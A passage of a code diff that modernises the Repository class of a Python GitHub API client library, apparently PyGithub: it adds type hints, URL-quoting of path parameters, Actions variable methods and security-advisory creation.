post_parameters["credits"] = [ + github.AdvisoryCredit.AdvisoryCredit._to_github_dict(credit) for credit in credits + ] + if severity_or_cvss_vector_string.startswith("CVSS:"): + post_parameters["cvss_vector_string"] = severity_or_cvss_vector_string + else: + post_parameters["severity"] = severity_or_cvss_vector_string + if private_vulnerability_reporting: + headers, data = self._requester.requestJsonAndCheck( + "POST", f"{self.url}/security-advisories/reports", input=post_parameters ) else: - return self.__create_pull( - title=title, body=body, base=base, head=head, draft=draft + headers, data = self._requester.requestJsonAndCheck( + "POST", f"{self.url}/security-advisories", input=post_parameters ) + return github.RepositoryAdvisory.RepositoryAdvisory(self._requester, headers, data, completed=True) - def __create_pull_2(self, issue, base, head): - assert isinstance(issue, github.Issue.Issue), issue - assert isinstance(base, str), base - assert isinstance(head, str), head - return self.__create_pull(issue=issue._identity, base=base, head=head) - - def __create_pull(self, **kwds): - post_parameters = kwds - - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/pulls", input=post_parameters - ) - return github.PullRequest.PullRequest( - self._requester, headers, data, completed=True - ) - - def create_repository_dispatch( - self, event_type, client_payload=github.GithubObject.NotSet - ): + def create_repository_dispatch(self, event_type: str, client_payload: Opt[dict[str, Any]] = NotSet) -> bool: """ - :calls: POST /repos/{owner}/{repo}/dispatches + :calls: POST /repos/{owner}/{repo}/dispatches :param event_type: string :param client_payload: dict :rtype: bool """ assert isinstance(event_type, str), event_type - assert client_payload is github.GithubObject.NotSet or isinstance( - client_payload, dict - ), client_payload - post_parameters = {"event_type": event_type} - if client_payload is not github.GithubObject.NotSet: - post_parameters["client_payload"] = client_payload - status, headers, data = self._requester.requestJson( - "POST", f"{self.url}/dispatches", input=post_parameters - ) + assert is_optional(client_payload, dict), client_payload + post_parameters = NotSet.remove_unset_items({"event_type": event_type, "client_payload": client_payload}) + status, headers, data = self._requester.requestJson("POST", f"{self.url}/dispatches", input=post_parameters) return status == 204 - def create_secret(self, secret_name, unencrypted_value): + def create_secret(self, secret_name: str, unencrypted_value: str) -> github.Secret.Secret: """ - :calls: `PUT /repos/{owner}/{repo}/actions/secrets/{secret_name} `_ - :param secret_name: string - :param unencrypted_value: string - :rtype: bool + :calls: `PUT /repos/{owner}/{repo}/actions/secrets/{secret_name} `_ """ assert isinstance(secret_name, str), secret_name assert isinstance(unencrypted_value, str), unencrypted_value + secret_name = urllib.parse.quote(secret_name) public_key = self.get_public_key() payload = public_key.encrypt(unencrypted_value) put_parameters = { "key_id": public_key.key_id, "encrypted_value": payload, } - status, headers, data = self._requester.requestJson( - "PUT", f"{self.url}/actions/secrets/{secret_name}", input=put_parameters + self._requester.requestJsonAndCheck("PUT", f"{self.url}/actions/secrets/{secret_name}", input=put_parameters) + return github.Secret.Secret( + requester=self._requester, + headers={}, + attributes={ + "name": secret_name, + "url": f"{self.url}/actions/secrets/{secret_name}", + }, + completed=False, ) - return status == 201 - def list_repository_secrets(self): + def list_repository_secrets(self) -> PaginatedList[github.Secret.Secret]: """ - :calls: `GET /repos/{owner}/{repo}/actions/secrets `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Secret.Secret` + Legacy: use get_secrets() instead! """ - return github.PaginatedList.PaginatedList( + return self.get_secrets() # backward compatibility for coveo fork who used a different name for this fn + + def get_secrets(self) -> PaginatedList[github.Secret.Secret]: + """ + Gets all repository secrets + """ + return PaginatedList( github.Secret.Secret, self._requester, f"{self.url}/actions/secrets", None, + attributesTransformer=PaginatedList.override_attributes({"secrets_url": f"{self.url}/actions/secrets"}), list_item="secrets", ) - def delete_secret(self, secret_name): + def get_secret(self, secret_name: str) -> github.Secret.Secret: + """ + :calls: 'GET /repos/{owner}/{repo}/actions/secrets/{secret_name} `_ + """ + assert isinstance(secret_name, str), secret_name + secret_name = urllib.parse.quote(secret_name) + return github.Secret.Secret( + requester=self._requester, + headers={}, + attributes={"url": f"{self.url}/actions/secrets/{secret_name}"}, + completed=False, + ) + + def create_variable(self, variable_name: str, value: str) -> github.Variable.Variable: + """ + :calls: `POST /repos/{owner}/{repo}/actions/variables/{variable_name} `_ + """ + assert isinstance(variable_name, str), variable_name + assert isinstance(value, str), value + post_parameters = { + "name": variable_name, + "value": value, + } + self._requester.requestJsonAndCheck("POST", f"{self.url}/actions/variables", input=post_parameters) + return github.Variable.Variable( + self._requester, + headers={}, + attributes={ + "name": variable_name, + "value": value, + "url": f"{self.url}/actions/variables/{variable_name}", + }, + completed=False, + ) + + def get_variables(self) -> PaginatedList[github.Variable.Variable]: + """ + Gets all repository variables + :rtype: :class:`PaginatedList` of :class:`github.Variable.Variable` + """ + return PaginatedList( + github.Variable.Variable, + self._requester, + f"{self.url}/actions/variables", + None, + attributesTransformer=PaginatedList.override_attributes({"variables_url": f"{self.url}/actions/variables"}), + list_item="variables", + ) + + def get_variable(self, variable_name: str) -> github.Variable.Variable: + """ + :calls: 'GET /orgs/{org}/actions/variables/{variable_name} `_ + :param variable_name: string + :rtype: github.Variable.Variable + """ + assert isinstance(variable_name, str), variable_name + variable_name = urllib.parse.quote(variable_name) + return github.Variable.Variable( + requester=self._requester, + headers={}, + attributes={"url": f"{self.url}/actions/variables/{variable_name}"}, + completed=False, + ) + + def delete_secret(self, secret_name: str) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/actions/secrets/{secret_name} `_ :param secret_name: string :rtype: bool """ assert isinstance(secret_name, str), secret_name - status, headers, data = self._requester.requestJson( - "DELETE", f"{self.url}/actions/secrets/{secret_name}" - ) + secret_name = urllib.parse.quote(secret_name) + status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/actions/secrets/{secret_name}") + return status == 204 + + def delete_variable(self, variable_name: str) -> bool: + """ + :calls: `DELETE /repos/{owner}/{repo}/actions/variables/{variable_name} `_ + :param variable_name: string + :rtype: bool + """ + assert isinstance(variable_name, str), variable_name + variable_name = urllib.parse.quote(variable_name) + status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/actions/variables/{variable_name}") return status == 204 def create_source_import( self, - vcs, - vcs_url, - vcs_username=github.GithubObject.NotSet, - vcs_password=github.GithubObject.NotSet, - ): + vcs: str, + vcs_url: str, + vcs_username: Opt[str] = NotSet, + vcs_password: Opt[str] = NotSet, + ) -> SourceImport: """ :calls: `PUT /repos/{owner}/{repo}/import `_ :param vcs: string @@ -1546,18 +1854,14 @@ def create_source_import( """ assert isinstance(vcs, str), vcs assert isinstance(vcs_url, str), vcs_url - assert vcs_username is github.GithubObject.NotSet or isinstance( - vcs_username, str - ), vcs_username - assert vcs_password is github.GithubObject.NotSet or isinstance( - vcs_password, str - ), vcs_password + assert is_optional(vcs_username, str), vcs_username + assert is_optional(vcs_password, str), vcs_password put_parameters = {"vcs": vcs, "vcs_url": vcs_url} - if vcs_username is not github.GithubObject.NotSet: + if is_defined(vcs_username): put_parameters["vcs_username"] = vcs_username - if vcs_password is not github.GithubObject.NotSet: + if is_defined(vcs_password): put_parameters["vcs_password"] = vcs_password import_header = {"Accept": Consts.mediaTypeImportPreview} @@ -1566,11 +1870,9 @@ def create_source_import( "PUT", f"{self.url}/import", headers=import_header, input=put_parameters ) - return github.SourceImport.SourceImport( - self._requester, headers, data, completed=False - ) + return github.SourceImport.SourceImport(self._requester, headers, data, completed=False) - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo} `_ :rtype: None @@ -1579,122 +1881,99 @@ def delete(self): def edit( self, - name=None, - description=github.GithubObject.NotSet, - homepage=github.GithubObject.NotSet, - private=github.GithubObject.NotSet, - has_issues=github.GithubObject.NotSet, - has_projects=github.GithubObject.NotSet, - has_wiki=github.GithubObject.NotSet, - has_downloads=github.GithubObject.NotSet, - default_branch=github.GithubObject.NotSet, - allow_forking=github.GithubObject.NotSet, - allow_squash_merge=github.GithubObject.NotSet, - allow_merge_commit=github.GithubObject.NotSet, - allow_rebase_merge=github.GithubObject.NotSet, - delete_branch_on_merge=github.GithubObject.NotSet, - archived=github.GithubObject.NotSet, - ): + name: str | None = None, + description: Opt[str] = NotSet, + homepage: Opt[str] = NotSet, + private: Opt[bool] = NotSet, + visibility: Opt[str] = NotSet, + has_issues: Opt[bool] = NotSet, + has_projects: Opt[bool] = NotSet, + has_wiki: Opt[bool] = NotSet, + is_template: Opt[bool] = NotSet, + default_branch: Opt[str] = NotSet, + allow_squash_merge: Opt[bool] = NotSet, + allow_merge_commit: Opt[bool] = NotSet, + allow_rebase_merge: Opt[bool] = NotSet, + allow_auto_merge: Opt[bool] = NotSet, + delete_branch_on_merge: Opt[bool] = NotSet, + allow_update_branch: Opt[bool] = NotSet, + use_squash_pr_title_as_default: Opt[bool] = NotSet, + squash_merge_commit_title: Opt[str] = NotSet, + squash_merge_commit_message: Opt[str] = NotSet, + merge_commit_title: Opt[str] = NotSet, + merge_commit_message: Opt[str] = NotSet, + archived: Opt[bool] = NotSet, + allow_forking: Opt[bool] = NotSet, + web_commit_signoff_required: Opt[bool] = NotSet, + ) -> None: """ :calls: `PATCH /repos/{owner}/{repo} `_ - :param name: string - :param description: string - :param homepage: string - :param private: bool - :param has_issues: bool - :param has_projects: bool - :param has_wiki: bool - :param has_downloads: bool - :param default_branch: string - :param allow_squash_merge: bool - :param allow_merge_commit: bool - :param allow_rebase_merge: bool - :param delete_branch_on_merge: bool - :param archived: bool - :rtype: None """ if name is None: name = self.name assert isinstance(name, str), name - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert homepage is github.GithubObject.NotSet or isinstance( - homepage, str - ), homepage - assert private is github.GithubObject.NotSet or isinstance( - private, bool - ), private - assert has_issues is github.GithubObject.NotSet or isinstance( - has_issues, bool - ), has_issues - assert has_projects is github.GithubObject.NotSet or isinstance( - has_projects, bool - ), has_projects - assert has_wiki is github.GithubObject.NotSet or isinstance( - has_wiki, bool - ), has_wiki - assert has_downloads is github.GithubObject.NotSet or isinstance( - has_downloads, bool - ), has_downloads - assert default_branch is github.GithubObject.NotSet or isinstance( - default_branch, str - ), default_branch - assert allow_forking is github.GithubObject.NotSet or isinstance( - allow_forking, bool - ), allow_forking - assert allow_squash_merge is github.GithubObject.NotSet or isinstance( - allow_squash_merge, bool - ), allow_squash_merge - assert allow_merge_commit is github.GithubObject.NotSet or isinstance( - allow_merge_commit, bool - ), allow_merge_commit - assert allow_rebase_merge is github.GithubObject.NotSet or isinstance( - allow_rebase_merge, bool - ), allow_rebase_merge - assert delete_branch_on_merge is github.GithubObject.NotSet or isinstance( - delete_branch_on_merge, bool - ), delete_branch_on_merge - assert archived is github.GithubObject.NotSet or isinstance( - archived, bool - ), archived - post_parameters = { - "name": name, - } - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if homepage is not github.GithubObject.NotSet: - post_parameters["homepage"] = homepage - if private is not github.GithubObject.NotSet: - post_parameters["private"] = private - if has_issues is not github.GithubObject.NotSet: - post_parameters["has_issues"] = has_issues - if has_projects is not github.GithubObject.NotSet: - post_parameters["has_projects"] = has_projects - if has_wiki is not github.GithubObject.NotSet: - post_parameters["has_wiki"] = has_wiki - if has_downloads is not github.GithubObject.NotSet: - post_parameters["has_downloads"] = has_downloads - if default_branch is not github.GithubObject.NotSet: - post_parameters["default_branch"] = default_branch - if allow_squash_merge is not github.GithubObject.NotSet: - post_parameters["allow_squash_merge"] = allow_squash_merge - if allow_forking is not github.GithubObject.NotSet: - post_parameters["allow_forking"] = allow_forking - if allow_merge_commit is not github.GithubObject.NotSet: - post_parameters["allow_merge_commit"] = allow_merge_commit - if allow_rebase_merge is not github.GithubObject.NotSet: - post_parameters["allow_rebase_merge"] = allow_rebase_merge - if delete_branch_on_merge is not github.GithubObject.NotSet: - post_parameters["delete_branch_on_merge"] = delete_branch_on_merge - if archived is not github.GithubObject.NotSet: - post_parameters["archived"] = archived - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + assert is_optional(description, str), description + assert is_optional(homepage, str), homepage + assert is_optional(private, bool), private + assert visibility in ["public", "private", "internal", NotSet], visibility + assert is_optional(has_issues, bool), has_issues + assert is_optional(has_projects, bool), has_projects + assert is_optional(has_wiki, bool), has_wiki + assert is_optional(is_template, bool), is_template + assert is_optional(default_branch, str), default_branch + assert is_optional(allow_squash_merge, bool), allow_squash_merge + assert is_optional(allow_merge_commit, bool), allow_merge_commit + assert is_optional(allow_rebase_merge, bool), allow_rebase_merge + assert is_optional(allow_auto_merge, bool), allow_auto_merge + assert is_optional(delete_branch_on_merge, bool), delete_branch_on_merge + assert is_optional(allow_update_branch, bool), allow_update_branch + assert is_optional(use_squash_pr_title_as_default, bool), use_squash_pr_title_as_default + assert squash_merge_commit_title in ["PR_TITLE", "COMMIT_OR_PR_TITLE", NotSet], squash_merge_commit_title + assert squash_merge_commit_message in [ + "PR_BODY", + "COMMIT_MESSAGES", + "BLANK", + NotSet, + ], squash_merge_commit_message + assert merge_commit_title in ["PR_TITLE", "MERGE_MESSAGE", NotSet], merge_commit_title + assert merge_commit_message in ["PR_TITLE", "PR_BODY", "BLANK", NotSet], merge_commit_message + assert is_optional(archived, bool), archived + assert is_optional(allow_forking, bool), allow_forking + assert is_optional(web_commit_signoff_required, bool), web_commit_signoff_required + + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "name": name, + "description": description, + "homepage": homepage, + "private": private, + "visibility": visibility, + "has_issues": has_issues, + "has_projects": has_projects, + "has_wiki": has_wiki, + "is_template": is_template, + "default_branch": default_branch, + "allow_squash_merge": allow_squash_merge, + "allow_merge_commit": allow_merge_commit, + "allow_rebase_merge": allow_rebase_merge, + "allow_auto_merge": allow_auto_merge, + "delete_branch_on_merge": delete_branch_on_merge, + "allow_update_branch": allow_update_branch, + "use_squash_pr_title_as_default": use_squash_pr_title_as_default, + "squash_merge_commit_title": squash_merge_commit_title, + "squash_merge_commit_message": squash_merge_commit_message, + "merge_commit_title": merge_commit_title, + "merge_commit_message": merge_commit_message, + "archived": archived, + "allow_forking": allow_forking, + "web_commit_signoff_required": web_commit_signoff_required, + } + ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def get_archive_link(self, archive_format, ref=github.GithubObject.NotSet): + def get_archive_link(self, archive_format: str, ref: Opt[str] = NotSet) -> str: """ :calls: `GET /repos/{owner}/{repo}/{archive_format}/{ref} `_ :param archive_format: string @@ -1702,37 +1981,36 @@ def get_archive_link(self, archive_format, ref=github.GithubObject.NotSet): :rtype: string """ assert isinstance(archive_format, str), archive_format - assert ref is github.GithubObject.NotSet or isinstance(ref, str), ref + archive_format = urllib.parse.quote(archive_format) + assert is_optional(ref, str), ref url = f"{self.url}/{archive_format}" - if ref is not github.GithubObject.NotSet: + if is_defined(ref): + ref = urllib.parse.quote(ref) url += f"/{ref}" headers, data = self._requester.requestJsonAndCheck("GET", url) return headers["location"] - def get_assignees(self): + def get_assignees(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/assignees `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` + :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( - github.NamedUser.NamedUser, self._requester, f"{self.url}/assignees", None - ) + return PaginatedList(github.NamedUser.NamedUser, self._requester, f"{self.url}/assignees", None) - def get_branch(self, branch): + def get_branch(self, branch: str) -> Branch: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch} `_ :param branch: string :rtype: :class:`github.Branch.Branch` """ assert isinstance(branch, str), branch - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/branches/{branch}" - ) + branch = urllib.parse.quote(branch) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/branches/{branch}") return github.Branch.Branch(self._requester, headers, data, completed=True) - def rename_branch(self, branch, new_name): + def rename_branch(self, branch: str | Branch, new_name: str) -> bool: """ - :calls: `POST /repos/{owner}/{repo}/branches/{branch}/rename ` + :calls: `POST /repos/{owner}/{repo}/branches/{branch}/rename `_ :param branch: :class:`github.Branch.Branch` or string :param new_name: string :rtype: bool @@ -1741,144 +2019,131 @@ def rename_branch(self, branch, new_name): time to fully complete server-side. """ is_branch = isinstance(branch, github.Branch.Branch) - assert isinstance(branch, str) or is_branch, branch assert isinstance(new_name, str), new_name if is_branch: - branch = branch.name + branch = branch.name # type: ignore + else: + assert isinstance(branch, str), branch + branch = urllib.parse.quote(branch) parameters = {"new_name": new_name} - status, _, _ = self._requester.requestJson( - "POST", f"{self.url}/branches/{branch}/rename", input=parameters - ) + status, _, _ = self._requester.requestJson("POST", f"{self.url}/branches/{branch}/rename", input=parameters) return status == 201 - def get_branches(self): + def get_branches(self) -> PaginatedList[Branch]: """ :calls: `GET /repos/{owner}/{repo}/branches `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Branch.Branch` + :rtype: :class:`PaginatedList` of :class:`github.Branch.Branch` """ - return github.PaginatedList.PaginatedList( - github.Branch.Branch, self._requester, f"{self.url}/branches", None - ) + return PaginatedList(github.Branch.Branch, self._requester, f"{self.url}/branches", None) - def get_collaborators(self, affiliation=github.GithubObject.NotSet): + def get_collaborators( + self, affiliation: Opt[str] = NotSet, permission: Opt[str] = NotSet + ) -> PaginatedList[NamedUser]: """ - :calls: `GET /repos/{owner}/{repo}/collaborators `_ + :calls: `GET /repos/{owner}/{repo}/collaborators `_ :param affiliation: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` + :param permission: string + :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ url_parameters = dict() allowed_affiliations = ["outside", "direct", "all"] - if affiliation is not github.GithubObject.NotSet: + allowed_permissions = ["pull", "triage", "push", "maintain", "admin"] + if is_defined(affiliation): assert isinstance(affiliation, str), affiliation - assert ( - affiliation in allowed_affiliations - ), f"Affiliation can be one of {', '.join(allowed_affiliations)}" + assert affiliation in allowed_affiliations, f"Affiliation can be one of {', '.join(allowed_affiliations)}" url_parameters["affiliation"] = affiliation - return github.PaginatedList.PaginatedList( + if is_defined(permission): + assert isinstance(permission, str), permission + assert permission in allowed_permissions, f"permission can be one of {', '.join(allowed_permissions)}" + url_parameters["permission"] = permission + + return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/collaborators", url_parameters, ) - def get_comment(self, id): + def get_comment(self, id: int) -> CommitComment: """ :calls: `GET /repos/{owner}/{repo}/comments/{id} `_ :param id: integer :rtype: :class:`github.CommitComment.CommitComment` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/comments/{id}" - ) - return github.CommitComment.CommitComment( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/comments/{id}") + return github.CommitComment.CommitComment(self._requester, headers, data, completed=True) - def get_comments(self): + def get_comments(self) -> PaginatedList[CommitComment]: """ :calls: `GET /repos/{owner}/{repo}/comments `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CommitComment.CommitComment` + :rtype: :class:`PaginatedList` of :class:`github.CommitComment.CommitComment` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.CommitComment.CommitComment, self._requester, f"{self.url}/comments", None, ) - def get_commit(self, sha): + def get_commit(self, sha: str) -> Commit: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha} `_ :param sha: string :rtype: :class:`github.Commit.Commit` """ assert isinstance(sha, str), sha - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/commits/{sha}" - ) + sha = urllib.parse.quote(sha) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/commits/{sha}") return github.Commit.Commit(self._requester, headers, data, completed=True) def get_commits( self, - sha=github.GithubObject.NotSet, - path=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - until=github.GithubObject.NotSet, - author=github.GithubObject.NotSet, - ): + sha: Opt[str] = NotSet, + path: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + until: Opt[datetime] = NotSet, + author: Opt[AuthenticatedUser | NamedUser | str] = NotSet, + ) -> PaginatedList[Commit]: """ :calls: `GET /repos/{owner}/{repo}/commits `_ :param sha: string :param path: string - :param since: datetime.datetime - :param until: datetime.datetime + :param since: datetime + :param until: datetime :param author: string or :class:`github.NamedUser.NamedUser` or :class:`github.AuthenticatedUser.AuthenticatedUser` - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Commit.Commit` - """ - assert sha is github.GithubObject.NotSet or isinstance(sha, str), sha - assert path is github.GithubObject.NotSet or isinstance(path, str), path - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - assert until is github.GithubObject.NotSet or isinstance( - until, datetime.datetime - ), until - assert author is github.GithubObject.NotSet or isinstance( + :rtype: :class:`PaginatedList` of :class:`github.Commit.Commit` + """ + assert is_optional(sha, str), sha + assert is_optional(path, str), path + assert is_optional(since, datetime), since + assert is_optional(until, datetime), until + assert is_optional( author, - ( - str, - github.NamedUser.NamedUser, - github.AuthenticatedUser.AuthenticatedUser, - ), + (str, github.NamedUser.NamedUser, github.AuthenticatedUser.AuthenticatedUser), ), author - url_parameters = dict() - if sha is not github.GithubObject.NotSet: + url_parameters: dict[str, Any] = {} + if is_defined(sha): url_parameters["sha"] = sha - if path is not github.GithubObject.NotSet: + if is_defined(path): url_parameters["path"] = path - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - if until is not github.GithubObject.NotSet: + if is_defined(until): url_parameters["until"] = until.strftime("%Y-%m-%dT%H:%M:%SZ") - if author is not github.GithubObject.NotSet: + if is_defined(author): if isinstance( author, - ( - github.NamedUser.NamedUser, - github.AuthenticatedUser.AuthenticatedUser, - ), + (github.NamedUser.NamedUser, github.AuthenticatedUser.AuthenticatedUser), ): url_parameters["author"] = author.login else: url_parameters["author"] = author - return github.PaginatedList.PaginatedList( - github.Commit.Commit, self._requester, f"{self.url}/commits", url_parameters - ) + return PaginatedList(github.Commit.Commit, self._requester, f"{self.url}/commits", url_parameters) - def get_contents(self, path, ref=github.GithubObject.NotSet): + def get_contents(self, path: str, ref: Opt[str] = NotSet) -> list[ContentFile] | ContentFile: """ :calls: `GET /repos/{owner}/{repo}/contents/{path} `_ :param path: string @@ -1886,12 +2151,12 @@ def get_contents(self, path, ref=github.GithubObject.NotSet): :rtype: :class:`github.ContentFile.ContentFile` or a list of them """ assert isinstance(path, str), path - assert ref is github.GithubObject.NotSet or isinstance(ref, str), ref + assert is_optional(ref, str), ref # Path of '/' should be the empty string. if path == "/": path = "" url_parameters = dict() - if ref is not github.GithubObject.NotSet: + if is_defined(ref): url_parameters["ref"] = ref headers, data = self._requester.requestJsonAndCheck( "GET", @@ -1901,54 +2166,46 @@ def get_contents(self, path, ref=github.GithubObject.NotSet): # Handle 302 redirect response if headers.get("status") == "302 Found" and headers.get("location"): - headers, data = self._requester.requestJsonAndCheck( - "GET", headers["location"], parameters=url_parameters - ) + headers, data = self._requester.requestJsonAndCheck("GET", headers["location"], parameters=url_parameters) if isinstance(data, list): return [ # Lazy completion only makes sense for files. See discussion # here: https://github.com/jacquev6/PyGithub/issues/140#issuecomment-13481130 - github.ContentFile.ContentFile( - self._requester, headers, item, completed=(item["type"] != "file") - ) + github.ContentFile.ContentFile(self._requester, headers, item, completed=(item["type"] != "file")) for item in data ] - return github.ContentFile.ContentFile( - self._requester, headers, data, completed=True - ) + return github.ContentFile.ContentFile(self._requester, headers, data, completed=True) def get_deployments( self, - sha=github.GithubObject.NotSet, - ref=github.GithubObject.NotSet, - task=github.GithubObject.NotSet, - environment=github.GithubObject.NotSet, - ): + sha: Opt[str] = NotSet, + ref: Opt[str] = NotSet, + task: Opt[str] = NotSet, + environment: Opt[str] = NotSet, + ) -> PaginatedList[Deployment]: """ :calls: `GET /repos/{owner}/{repo}/deployments `_ :param: sha: string :param: ref: string :param: task: string :param: environment: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Deployment.Deployment` + :rtype: :class:`PaginatedList` of :class:`github.Deployment.Deployment` """ - assert sha is github.GithubObject.NotSet or isinstance(sha, str), sha - assert ref is github.GithubObject.NotSet or isinstance(ref, str), ref - assert task is github.GithubObject.NotSet or isinstance(task, str), task - assert environment is github.GithubObject.NotSet or isinstance( - environment, str - ), environment + assert is_optional(sha, str), sha + assert is_optional(ref, str), ref + assert is_optional(task, str), task + assert is_optional(environment, str), environment parameters = {} - if sha is not github.GithubObject.NotSet: + if is_defined(sha): parameters["sha"] = sha - if ref is not github.GithubObject.NotSet: + if is_defined(ref): parameters["ref"] = ref - if task is not github.GithubObject.NotSet: + if is_defined(task): parameters["task"] = task - if environment is not github.GithubObject.NotSet: + if is_defined(environment): parameters["environment"] = environment - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Deployment.Deployment, self._requester, f"{self.url}/deployments", @@ -1956,7 +2213,7 @@ def get_deployments( headers={"Accept": Consts.deploymentEnhancementsPreview}, ) - def get_deployment(self, id_): + def get_deployment(self, id_: int) -> Deployment: """ :calls: `GET /repos/{owner}/{repo}/deployments/{deployment_id} `_ :param: id_: int @@ -1968,22 +2225,20 @@ def get_deployment(self, id_): f"{self.url}/deployments/{id_}", headers={"Accept": Consts.deploymentEnhancementsPreview}, ) - return github.Deployment.Deployment( - self._requester, headers, data, completed=True - ) + return github.Deployment.Deployment(self._requester, headers, data, completed=True) def create_deployment( self, - ref, - task=github.GithubObject.NotSet, - auto_merge=github.GithubObject.NotSet, - required_contexts=github.GithubObject.NotSet, - payload=github.GithubObject.NotSet, - environment=github.GithubObject.NotSet, - description=github.GithubObject.NotSet, - transient_environment=github.GithubObject.NotSet, - production_environment=github.GithubObject.NotSet, - ): + ref: str, + task: Opt[str] = NotSet, + auto_merge: Opt[bool] = NotSet, + required_contexts: Opt[list[str]] = NotSet, + payload: Opt[dict[str, Any]] = NotSet, + environment: Opt[str] = NotSet, + description: Opt[str] = NotSet, + transient_environment: Opt[bool] = NotSet, + production_environment: Opt[bool] = NotSet, + ) -> Deployment: """ :calls: `POST /repos/{owner}/{repo}/deployments `_ :param: ref: string @@ -1998,45 +2253,31 @@ def create_deployment( :rtype: :class:`github.Deployment.Deployment` """ assert isinstance(ref, str), ref - assert task is github.GithubObject.NotSet or isinstance(task, str), task - assert auto_merge is github.GithubObject.NotSet or isinstance( - auto_merge, bool - ), auto_merge - assert required_contexts is github.GithubObject.NotSet or isinstance( - required_contexts, list - ), required_contexts # need to do better checking here - assert payload is github.GithubObject.NotSet or isinstance( - payload, dict - ), payload - assert environment is github.GithubObject.NotSet or isinstance( - environment, str - ), environment - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert transient_environment is github.GithubObject.NotSet or isinstance( - transient_environment, bool - ), transient_environment - assert production_environment is github.GithubObject.NotSet or isinstance( - production_environment, bool - ), production_environment - - post_parameters = {"ref": ref} - if task is not github.GithubObject.NotSet: + assert is_optional(task, str), task + assert is_optional(auto_merge, bool), auto_merge + assert is_optional(required_contexts, list), required_contexts # need to do better checking here + assert is_optional(payload, dict), payload + assert is_optional(environment, str), environment + assert is_optional(description, str), description + assert is_optional(transient_environment, bool), transient_environment + assert is_optional(production_environment, bool), production_environment + + post_parameters: dict[str, Any] = {"ref": ref} + if is_defined(task): post_parameters["task"] = task - if auto_merge is not github.GithubObject.NotSet: + if is_defined(auto_merge): post_parameters["auto_merge"] = auto_merge - if required_contexts is not github.GithubObject.NotSet: + if is_defined(required_contexts): post_parameters["required_contexts"] = required_contexts - if payload is not github.GithubObject.NotSet: + if is_defined(payload): post_parameters["payload"] = payload - if environment is not github.GithubObject.NotSet: + if is_defined(environment): post_parameters["environment"] = environment - if description is not github.GithubObject.NotSet: + if is_defined(description): post_parameters["description"] = description - if transient_environment is not github.GithubObject.NotSet: + if is_defined(transient_environment): post_parameters["transient_environment"] = transient_environment - if production_environment is not github.GithubObject.NotSet: + if is_defined(production_environment): post_parameters["production_environment"] = production_environment headers, data = self._requester.requestJsonAndCheck( @@ -2046,102 +2287,70 @@ def create_deployment( headers={"Accept": Consts.deploymentEnhancementsPreview}, ) - return github.Deployment.Deployment( - self._requester, headers, data, completed=True - ) + return github.Deployment.Deployment(self._requester, headers, data, completed=True) - def get_top_referrers(self): + def get_top_referrers(self) -> None | list[Referrer]: """ :calls: `GET /repos/{owner}/{repo}/traffic/popular/referrers `_ - :rtype: :class:`list` of :class:`github.Referrer.Referrer` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/traffic/popular/referrers" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/traffic/popular/referrers") if isinstance(data, list): - return [ - github.Referrer.Referrer(self._requester, headers, item, completed=True) - for item in data - ] + return [github.Referrer.Referrer(self._requester, headers, item, completed=True) for item in data] - def get_top_paths(self): + def get_top_paths(self) -> None | list[Path]: """ :calls: `GET /repos/{owner}/{repo}/traffic/popular/paths `_ :rtype: :class:`list` of :class:`github.Path.Path` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/traffic/popular/paths" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/traffic/popular/paths") if isinstance(data, list): - return [ - github.Path.Path(self._requester, headers, item, completed=True) - for item in data - ] + return [github.Path.Path(self._requester, headers, item, completed=True) for item in data] - def get_views_traffic(self, per=github.GithubObject.NotSet): + def get_views_traffic(self, per: Opt[str] = NotSet) -> None | dict[str, int | list[View]]: """ :calls: `GET /repos/{owner}/{repo}/traffic/views `_ :param per: string, must be one of day or week, day by default - :rtype: None or list of :class:`github.View.View` """ - assert per is github.GithubObject.NotSet or ( - isinstance(per, str) and (per == "day" or per == "week") - ), "per must be day or week, day by default" + assert per 